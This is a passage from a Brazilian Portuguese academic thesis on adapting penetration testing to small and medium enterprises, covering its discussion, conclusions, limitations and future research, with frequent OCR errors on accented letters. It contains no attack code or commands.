A realizacdo de Pentests em organizacbes de grande porte normalmente
envolve equipes especializadas, ferramentas comerciais e processos formais de
segurancga ja estabelecidos. Embora essa abordagem proporcione elevado nivel de
profundidade técnica, sua adog¢ao pode ser limitada em pequenas e médias empresas
devido aos custos envolvidos e a escassez de profissionais especializados.

O modelo proposto nesta pesquisa busca reduzir essas barreiras ao combinar
ferramentas gratuitas, capacitagdo gradual de profissionais internos e contratagéo
pontual de servigos especializados. Em vez de depender exclusivamente de uma
equipe dedicada de seguranca ofensiva, a proposta distribui responsabilidades entre
diferentes atores, permitindo que as atividades de identificagéo, validagcéo e mitigagéo
de vulnerabilidades sejam realizadas de forma compativel com a realidade
operacional das PMEs.

Diante disso, os resultados obtidos ao longo desta pesquisa indicam que o
modelo proposto ndo pretende substituir abordagens tradicionais utilizadas por
organizagdes com maior maturidade em seguranga da informagdo. Em vez disso,
busca oferecer uma alternativa viavel para PMEs que, em muitos casos, hdo possuem
condigbes financeiras ou estruturais para adotar processos completos de seguranga
ofensiva. Dessa forma, a proposta amplia o acesso a praticas de Pentest sem
comprometer os principios metodolégicos fundamentais da atividade.

Além disso, a integragdo entre Pentest, corregdo das vulnerabilidades e
monitoramento continuo representa um diferencial em relacdo a abordagens focadas
exclusivamente na identificagcdo de falhas. Ao incorporar mecanismos de
acompanhamento e mitigagdo ao longo do tempo, o modelo favorece a evolugéo
gradual da maturidade de seguranga das PMEs, contribuindo para a redugao continua

de riscos e para o fortalecimento da resiliéncia organizacional.
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7 CONSIDERAGOES FINAIS

Esta pesquisa investigou como metodologias de Pentest podem ser adaptadas
a realidade das pequenas e médias empresas brasileiras como estratégia de
fortalecimento da seguranga da informagdo. O percurso desenvolvido, desde a
fundamentacao tedrica até a demonstracéo pratica em laboratério virtual controlado,
permitiu responder satisfatoriamente a questdo de pesquisa estabelecida. Os
resultados obtidos indicam que praticas de segurancga ofensiva podem ser adaptadas
ao contexto das PMEs de forma metodologicamente estruturada, tecnicamente
consistente e financeiramente viavel.

Os objetivos especificos definidos para o trabalho foram alcangados.
Inicialmente, foram apresentados os fundamentos teéricos da seguranga ofensiva e
do Pentest com base em referéncias académicas e normativas reconhecidas. Em
seguida, discutiram-se os principais desafios enfrentados pelas PMEs na adogéo
dessas praticas. A partir dessa analise, foi desenvolvida uma estrutura conceitual
composta por cinco fases, fundamentada nos frameworks PTES, MITRE ATT&CK e
Cyber Kill Chain. Complementarmente, foi proposto um arranjo operacional dividido
em trés camadas, distribuindo responsabilidades entre recursos internos e servigos
especializados com o objetivo de compatibilizar a aplicagdo do modelo as limitagbes
financeiras e estruturais frequentemente presentes nesse segmento. Por fim, a
demonstracdo pratica realizada em laboratoério virtual permitiu ilustrar a aplicagao das
etapas de reconhecimento, analise de vulnerabilidades e exploragdao controlada por
meio de ferramentas gratuitas amplamente disponiveis.

Os resultados obtidos reforcam a premissa de que a identificacdo e validagao
de vulnerabilidades ndo dependem exclusivamente de solu¢gdes comerciais ou de
equipes altamente especializadas. A combinagao entre metodologias reconhecidas,
ferramentas acessiveis e processos estruturados demonstrou potencial para ampliar
a adogdo de praticas de avaliacdo de seguranca por PMEs, aproximando
organizacdes de pequeno porte de mecanismos tradicionalmente mais presentes em
empresas de maior maturidade tecnoldgica.

Entretanto, o Pentest ndo deve ser compreendido como solugao suficiente para
todos os desafios relacionados a seguranga da informagéo. Sua principal contribuigdo
esta na identificacdo de vulnerabilidades, validagdo de riscos e geragdo de
informacdes capazes de subsidiar processos de tomada de decisdo. Aspectos
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relacionados a cultura organizacional de seguranga, conscientizagao de usuarios,
monitoramento continuo, resposta a incidentes e prote¢gao contra ameacgas avancadas
exigem abordagens complementares. Nesse sentido, o Pentest deve ser entendido
como parte integrante de uma estratégia mais ampla de gestdo da seguranca da
informacéo.

Algumas limitagdes também devem ser consideradas. A principal delas refere-
se a validacao da proposta em laboratério virtual controlado, utilizando uma maquina
intencionalmente vulneravel. Embora essa abordagem tenha permitido ilustrar a
aplicacao pratica das etapas definidas de forma segura e reproduzivel, ela nao
representa integralmente a complexidade encontrada em ambientes corporativos
reais. Além disso, o modelo concentra-se predominantemente na identificacdo e
validagdo de vulnerabilidades técnicas, ndo contemplando de forma abrangente
atividades mais avangadas, como exercicios de Red Team, testes extensivos de
engenharia social ou avaliagdes aprofundadas da capacidade de detecgao e resposta
das organizagoes.

Como continuidade desta pesquisa, a aplicagao pratica do modelo proposto em
PMEs reais constitui a etapa mais imediata e relevante, permitindo avaliar sua
viabilidade operacional em diferentes contextos organizacionais e comparar os
resultados obtidos em laboratério com cenarios corporativos reais. Além dessa
validagao empirica, pesquisas futuras poderao explorar diferentes dire¢des, incluindo
a adocgao de exercicios de Purple Team em PMEs, nos quais equipes ofensivas e
defensivas atuam de forma colaborativa; a implementagao de praticas de Continuous
Pentesting para monitoramento periédico de novas vulnerabilidades; a integracéo de
técnicas de Inteligéncia Artificial aos processos de Pentest, especialmente na
correlagdo de vulnerabilidades e priorizagdo de riscos; a adogédo progressiva de
arquiteturas Zero Trust em ambientes de pequeno porte; e o desenvolvimento de
plataformas acessiveis de automacao da gestdo de vulnerabilidades baseadas em
ferramentas de codigo aberto. Essas possibilidades configuram uma agenda de
pesquisa relevante e alinhada as tendéncias contemporaneas da seguranga ofensiva
aplicada ao contexto organizacional brasileiro.

A contribuicao central deste trabalho para a area de Seguranca da Informacao
consiste na proposicdo de um modelo conceitual adaptado a realidade das PMEs
brasileiras, tornando praticas de Pentest mais acessiveis a organizagdes que

frequentemente enfrentam limitagdes financeiras e técnicas. Em um cenario marcado
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pelo crescimento continuo das ameagas cibernéticas e pela elevada exposi¢céo das
pequenas e meédias empresas a riscos digitais, a disponibilizacdo de processos
estruturados, acessiveis e compativeis com suas necessidades representa nao
apenas uma contribuicdo académica, mas também uma iniciativa com potencial

impacto econdémico e social.
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